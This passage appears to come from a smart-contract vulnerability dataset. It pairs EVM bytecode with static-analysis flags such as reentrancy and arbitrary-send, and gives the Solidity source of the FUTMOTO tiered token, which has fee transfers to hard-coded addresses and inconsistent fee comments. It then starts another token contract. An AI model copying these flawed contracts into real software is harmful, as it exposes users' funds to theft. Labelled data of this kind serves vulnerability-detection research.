051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068389604051808381526020018281526020019250505060405180910390a15b5050505050505050506000602060006101000a81548160ff021916908315150217905550565b600080601d541415905090565b43601d81905550565b6000808373ffffffffffffffffffffffffffffffffffffffff16601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146140665760165461406a565b6017545b90506000614094606461408684876141ae90919063ffffffff16565b61423490919063ffffffff16565b90506140e881600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36141a381856134cd90919063ffffffff16565b925050509392505050565b6000808314156141c1576000905061422e565b60008284029050828482816141d257fe5b0414614229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806143ec6021913960400191505060405180910390fd5b809150505b92915050565b600061427683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061427e565b905092915050565b6000808311829061432a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156142ef5780820151818401526020810190506142d4565b50505050905090810190601f16801561431c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161433657fe5b049050809150509392505050565b8280548282559060005260206000209081019282156143bd579160200282015b828111156143bc5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190614364565b5b5090506143ca91906143ce565b5090565b5b808211156143e75760008160009055506001016143cf565b509056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220b2618e1fa433e47a2a4d3921e69a7894ce468855c5697c65ce4daf460209148b64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,408 |
0x0c78735435fbe36b39cccd5fe35fb4590e3da603
|
pragma solidity ^0.4.18;
contract FUTMOTO {
uint256 constant MAX_UINT256 = 2**256 - 1;
uint256 MAX_SUBMITTED = 15000000000000000000;
// (no premine)
uint256 _totalSupply = 0;
// The following 2 variables are essentially a lookup table.
// They are not constant because they are memory.
// I came up with this because calculating it was expensive,
// especially so when crossing tiers.
// Sum of each tier by ether submitted.
uint256[] levels = [
1000000000000000000,
3000000000000000000,
6000000000000000000,
10000000000000000000,
15000000000000000000
];
// Token amounts for each tier.
uint256[] ratios = [
100,
110,
121,
133,
146
];
// total ether submitted before fees.
uint256 _submitted = 0;
uint256 public tier = 0;
// ERC20 events.
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
// FUTR events.
event Mined(address indexed _miner, uint _value);
event WaitStarted(uint256 endTime);
event SwapStarted(uint256 endTime);
event MiningStart(uint256 end_time, uint256 swap_time, uint256 swap_end_time);
event MiningExtended(uint256 end_time, uint256 swap_time, uint256 swap_end_time);
// Optional ERC20 values.
string public name = "Futeremoto";
uint8 public decimals = 18;
string public symbol = "FUTMOTO";
// Public variables so the curious can check the state.
bool public swap = false;
bool public wait = false;
bool public extended = false;
// Public end time for the current state.
uint256 public endTime;
// These are calculated at mining start.
uint256 swapTime;
uint256 swapEndTime;
uint256 endTimeExtended;
uint256 swapTimeExtended;
uint256 swapEndTimeExtended;
// Pay rate calculated from balance later.
uint256 public payRate = 0;
// Fee variables. Fees are reserved and then withdrawn later.
uint256 submittedFeesPaid = 0;
uint256 penalty = 0;
uint256 reservedFees = 0;
// Storage.
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
// Fallback function mines the tokens.
// Send from a wallet you control.
// DON'T send from an exchange wallet!
// We recommend sending using a method that calculates gas for you.
// Here are some estimates (not guaranteed to be accurate):
// It usually costs around 90k gas. It cost more if you cross a tier.
// Maximum around 190k gas.
function () external payable {
require(msg.sender != address(0) &&
tier != 5 &&
swap == false &&
wait == false);
uint256 issued = mint(msg.sender, msg.value);
Mined(msg.sender, issued);
Transfer(this, msg.sender, issued);
}
// Constructor.
function FUTMOTO() public {
_start();
}
// This gets called by constructor AND after the swap to restart evertying.
function _start() internal
{
swap = false;
wait = false;
extended = false;
endTime = now + 5 days;
swapTime = endTime + 1 days;
swapEndTime = swapTime + 1 days;
endTimeExtended = now + 7 days;
swapTimeExtended = endTimeExtended + 5 days;
swapEndTimeExtended = swapTimeExtended + 1 days;
submittedFeesPaid = 0;
_submitted = 0;
reservedFees = 0;
payRate = 0;
tier = 0;
MiningStart(endTime, swapTime, swapEndTime);
}
// Restarts everything after swap.
// This is expensive, so we make someone call it and pay for the gas.
// Any holders that miss the swap get to keep their tokens.
// Ether stays in contract, minus 20% penalty fee.
function restart() public {
require(swap && now >= endTime);
penalty = this.balance * 2000 / 10000;
payFees();
_start();
}
// ERC20 standard supply function.
function totalSupply() public constant returns (uint)
{
return _totalSupply;
}
// Mints new tokens when they are mined.
function mint(address _to, uint256 _value) internal returns (uint256)
{
uint256 total = _submitted + _value;
if (total > MAX_SUBMITTED)
{
uint256 refund = total - MAX_SUBMITTED - 1;
_value = _value - refund;
// refund money and continue.
_to.transfer(refund);
}
_submitted += _value;
total -= refund;
uint256 tokens = calculateTokens(total, _value);
balances[_to] += tokens;
_totalSupply += tokens;
return tokens;
}
// Calculates the tokens mined based on the tier.
function calculateTokens(uint256 total, uint256 _value) internal returns (uint256)
{
if (tier == 5)
uint256 tokens = 0;
if (total > levels[tier])
{
uint256 remaining = total - levels[tier];
_value -= remaining;
tokens = (_value) * ratios[tier];
tier += 1;
tokens += calculateTokens(total, remaining);
}
else
{
tokens = _value * ratios[tier];
}
return tokens;
}
// This is basically so you don't have to add 1 to the last completed tier.
// You're welcome.
function currentTier() public view returns (uint256) {
if (tier == 5)
{
return 5;
}
else
{
return tier + 1;
}
}
// Ether remaining for tier.
function leftInTier() public view returns (uint256) {
if (tier == 5) {
return 0;
}
else
{
return levels[tier] - _submitted;
}
}
// Total sumbitted for mining.
function submitted() public view returns (uint256) {
return _submitted;
}
// Balance minus oustanding fees.
function balanceMinusFeesOutstanding() public view returns (uint256) {
return this.balance - (penalty + (_submitted - submittedFeesPaid) * 530 / 10000); // fees are 5.3 % total.
}
// Calculates the amount of ether per token from the balance.
// This is calculated once by the first account to swap.
function calulateRate() internal {
reservedFees = penalty + (_submitted - submittedFeesPaid) * 530 / 10000; // fees are 15.3 % total.
uint256 tokens = _totalSupply / 1 ether;
payRate = (this.balance - reservedFees);
payRate = payRate / tokens;
}
// This function is called on token transfer and fee payment.
// It checks the next deadline and then updates the deadline and state.
//
// It uses the block time, but the time periods are days and months,
// so it should be pretty safe ¯\_(ツ)_/¯
function _updateState() internal {
// Most of the time, this will just be skipped.
if (now >= endTime)
{
// We are not currently swapping or waiting to swap
if(!swap && !wait)
{
if (extended)
{
// It's been 36 months.
wait = true;
endTime = swapTimeExtended;
WaitStarted(endTime);
}
else if (tier == 5)
{
// Tiers filled
wait = true;
endTime = swapTime;
WaitStarted(endTime);
}
else
{
// Extended to 36 months
endTime = endTimeExtended;
extended = true;
MiningExtended(endTime, swapTime, swapEndTime);
}
}
else if (wait)
{
// It's time to swap.
swap = true;
wait = false;
if (extended)
{
endTime = swapEndTimeExtended;
}
else
{
endTime = swapEndTime;
}
SwapStarted(endTime);
}
}
}
// Standard ERC20 transfer plus state check and token swap logic.
//
// We recommend sending using a method that calculates gas for you.
//
// Here are some estimates (not guaranteed to be accurate):
// It usually costs around 37k gas. It cost more if the state changes.
// State change means around 55k - 65k gas.
// Swapping tokens for ether costs around 46k gas. (around 93k for the first account to swap)
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
// Normal transfers check if time is expired.
_updateState();
// Check if sending in for swap.
if (_to == address(this))
{
// throw if they can't swap yet.
require(swap);
if (payRate == 0)
{
calulateRate(); // Gas to calc the rate paid by first unlucky soul.
}
uint256 amount = _value * payRate;
// Adjust for decimals
amount /= 1 ether;
// Burn tokens.
balances[msg.sender] -= _value;
_totalSupply -= _value;
Transfer(msg.sender, _to, _value);
//send ether
msg.sender.transfer(amount);
} else
{
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
return true;
}
// Standard ERC20.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
// Standard ERC20.
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
// Standard ERC20.
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
// ********************
// Fee stuff.
// Addresses for fees. Top owns all these
address public foundation = 0xE252765E4A71e3170b2215cf63C16E7553ec26bD;
address public owner = 0xa4cdd9c17d87EcceF6a02AC43F677501cAb05d04;
address public dev = 0x752607dc81e0336ea6ddccced509d8fd28610b54;
// Pays fees to the foundation, the owner, and the dev.
// It also updates the state. Anyone can call this.
function payFees() public {
// Check state to see if swap needs to happen.
_updateState();
uint256 fees = penalty + (_submitted - submittedFeesPaid) * 530 / 10000; // fees are 5.3 % total.
submittedFeesPaid = _submitted;
reservedFees = 0;
penalty = 0;
if (fees > 0)
{
foundation.transfer(fees / 2);
owner.transfer(fees / 4);
dev.transfer(fees / 4);
}
}
function changeFoundation (address _receiver) public
{
require(msg.sender == foundation);
foundation = _receiver;
}
function changeOwner (address _receiver) public
{
require(msg.sender == owner);
owner = _receiver;
}
function changeDev (address _receiver) public
{
require(msg.sender == dev);
dev = _receiver;
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146102aa578063095ea7b31461033a57806316f4d0221461039f57806318160ddd146103ca5780631ef3755d146103f557806323b872dd1461040c57806324bb49d614610491578063313ce567146104bc5780633197cbb6146104ed57806341fbb0501461051857806362779e151461056f57806364bd70131461058657806365a5f1cd146105b55780636f3921ee146105f8578063708ddf7b1461062757806370a08231146106525780638119c065146106a957806388a8c95c146106d85780638da5cb5b1461071b57806391cca3db1461077257806395d89b41146107c9578063a6f9dae114610859578063a9059cbb1461089c578063d679677a14610901578063dd62ed3e1461092c578063f51fb6a1146109a3578063f97e17d9146109ce575b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561019f57506005805414155b80156101be575060001515600960009054906101000a900460ff161515145b80156101dd575060001515600960019054906101000a900460ff161515145b15156101e857600080fd5b6101f233346109f9565b90503373ffffffffffffffffffffffffffffffffffffffff167f3ad10ba9777a3bc21180a465e5459861d07cbdb271af9a0f10c993b365b760f8826040518082815260200191505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350005b3480156102b657600080fd5b506102bf610af1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ff5780820151818401526020810190506102e4565b50505050905090810190601f16801561032c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034657600080fd5b50610385600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b8f565b604051808215151515815260200191505060405180910390f35b3480156103ab57600080fd5b506103b4610c81565b6040518082815260200191505060405180910390f35b3480156103d657600080fd5b506103df610c87565b6040518082815260200191505060405180910390f35b34801561040157600080fd5b5061040a610c91565b005b34801561041857600080fd5b50610477600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cfb565b604051808215151515815260200191505060405180910390f35b34801561049d57600080fd5b506104a6610f95565b6040518082815260200191505060405180910390f35b3480156104c857600080fd5b506104d1610fd1565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104f957600080fd5b50610502610fe4565b6040518082815260200191505060405180910390f35b34801561052457600080fd5b5061052d610fea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057b57600080fd5b50610584611010565b005b34801561059257600080fd5b5061059b6111bd565b604051808215151515815260200191505060405180910390f35b3480156105c157600080fd5b506105f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d0565b005b34801561060457600080fd5b5061060d611270565b604051808215151515815260200191505060405180910390f35b34801561063357600080fd5b5061063c611283565b6040518082815260200191505060405180910390f35b34801561065e57600080fd5b50610693600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061128d565b6040518082815260200191505060405180910390f35b3480156106b557600080fd5b506106be6112d6565b604051808215151515815260200191505060405180910390f35b3480156106e457600080fd5b50610719600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e9565b005b34801561072757600080fd5b50610730611389565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561077e57600080fd5b506107876113af565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107d557600080fd5b506107de6113d5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561081e578082015181840152602081019050610803565b50505050905090810190601f16801561084b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561086557600080fd5b5061089a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611473565b005b3480156108a857600080fd5b506108e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611513565b604051808215151515815260200191505060405180910390f35b34801561090d57600080fd5b50610916611805565b6040518082815260200191505060405180910390f35b34801561093857600080fd5b5061098d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611826565b6040518082815260200191505060405180910390f35b3480156109af57600080fd5b506109b86118ad565b6040518082815260200191505060405180910390f35b3480156109da57600080fd5b506109e36118e8565b6040518082815260200191505060405180910390f35b60008060008084600454019250600054831115610a67576001600054840303915081850394508573ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610a65573d6000803e3d6000fd5b505b846004600082825401925050819055508183039250610a8683866118ee565b905080601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060016000828254019250508190555080935050505092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b875780601f10610b5c57610100808354040283529160200191610b87565b820191906000526020600020905b815481529060010190602001808311610b6a57829003601f168201915b505050505081565b600081601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b6000600154905090565b600960009054906101000a900460ff168015610caf5750600a544210155b1515610cba57600080fd5b6127106107d03073ffffffffffffffffffffffffffffffffffffffff163102811515610ce257fe5b04601281905550610cf1611010565b610cf96119ba565b565b600080601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610dcc5750828110155b1515610dd757600080fd5b82601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610f245782601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60006127106102126011546004540302811515610fae57fe5b04601254013073ffffffffffffffffffffffffffffffffffffffff163103905090565b600760009054906101000a900460ff1681565b600a5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061101a611ad2565b612710610212601154600454030281151561103157fe5b046012540190506004546011819055506000601381905550600060128190555060008111156111ba57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002838115156110a257fe5b049081150290604051600060405180830381858888f193505050501580156110ce573d6000803e3d6000fd5b50601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60048381151561111757fe5b049081150290604051600060405180830381858888f19350505050158015611143573d6000803e3d6000fd5b50601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60048381151561118c57fe5b049081150290604051600060405180830381858888f193505050501580156111b8573d6000803e3d6000fd5b505b50565b600960019054906101000a900460ff1681565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122c57600080fd5b80601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960029054906101000a900460ff1681565b6000600454905090565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600960009054906101000a900460ff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561134557600080fd5b80601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561146b5780601f106114405761010080835404028352916020019161146b565b820191906000526020600020905b81548152906001019060200180831161144e57829003601f168201915b505050505081565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114cf57600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561156457600080fd5b61156c611ad2565b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116fa57600960009054906101000a900460ff1615156115bb57600080fd5b600060105414156115cf576115ce611d1d565b5b60105483029050670de0b6b3a7640000818115156115e957fe5b04905082601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550826001600082825403925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116f4573d6000803e3d6000fd5b506117fa565b82601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b600191505092915050565b600060058054141561181a5760059050611823565b60016005540190505b90565b6000601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006005805414156118c257600090506118e5565b60045460026005548154811015156118d657fe5b90600052602060002001540390505b90565b60105481565b600080600060058054141561190257600091505b600260055481548110151561191357fe5b906000526020600020015485111561198e57600260055481548110151561193657fe5b9060005260206000200154850390508084039350600360055481548110151561195b57fe5b906000526020600020015484029150600160056000828254019250508190555061198585826118ee565b820191506119af565b600360055481548110151561199f57fe5b9060005260206000200154840291505b819250505092915050565b6000600960006101000a81548160ff0219169083151502179055506000600960016101000a81548160ff0219169083151502179055506000600960026101000a81548160ff021916908315150217905550620697804201600a8190555062015180600a5401600b8190555062015180600b5401600c8190555062093a804201600d8190555062069780600d5401600e8190555062015180600e5401600f81905550600060118190555060006004819055506000601381905550600060108190555060006005819055507f938e6fcc245d7476cacd79a5032e14b706e6a7ead38fab7a0d73c4feaded40eb600a54600b54600c5460405180848152602001838152602001828152602001935050505060405180910390a1565b600a5442101515611d1b57600960009054906101000a900460ff16158015611b075750600960019054906101000a900460ff16155b15611c6757600960029054906101000a900460ff1615611b83576001600960016101000a81548160ff021916908315150217905550600e54600a819055507f24f7a980d4f032f59e7197d51a3cd619f138504a9b0da6fee19a08985863775e600a546040518082815260200191505060405180910390a1611c62565b600580541415611bef576001600960016101000a81548160ff021916908315150217905550600b54600a819055507f24f7a980d4f032f59e7197d51a3cd619f138504a9b0da6fee19a08985863775e600a546040518082815260200191505060405180910390a1611c61565b600d54600a819055506001600960026101000a81548160ff0219169083151502179055507fd157e8167dfe7e28a6a152fd1fa166e7e3404cf58c49c769442efce28d387e00600a54600b54600c5460405180848152602001838152602001828152602001935050505060405180910390a15b5b611d1a565b600960019054906101000a900460ff1615611d19576001600960006101000a81548160ff0219169083151502179055506000600960016101000a81548160ff021916908315150217905550600960029054906101000a900460ff1615611cd557600f54600a81905550611cdf565b600c54600a819055505b7f4ebcdc2b14eacac39cf3ffaa28fc33f98e82cb4ce5d3002187b611b4d7a8b398600a546040518082815260200191505060405180910390a15b5b5b565b60006127106102126011546004540302811515611d3657fe5b0460125401601381905550670de0b6b3a7640000600154811515611d5657fe5b0490506013543073ffffffffffffffffffffffffffffffffffffffff16310360108190555080601054811515611d8857fe5b04601081905550505600a165627a7a723058204ed0b1b4d3de1f07ee8fef76d0b36155e008ecd1eba4f4d790a5a687916bdd900029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,409 |
0xd3a8d7f28d014b18185236ce568cdbcebd809c2b
|
pragma solidity ^0.4.19;
/*
Copyright (c) 2016 Smart Contract Solutions, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/*
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
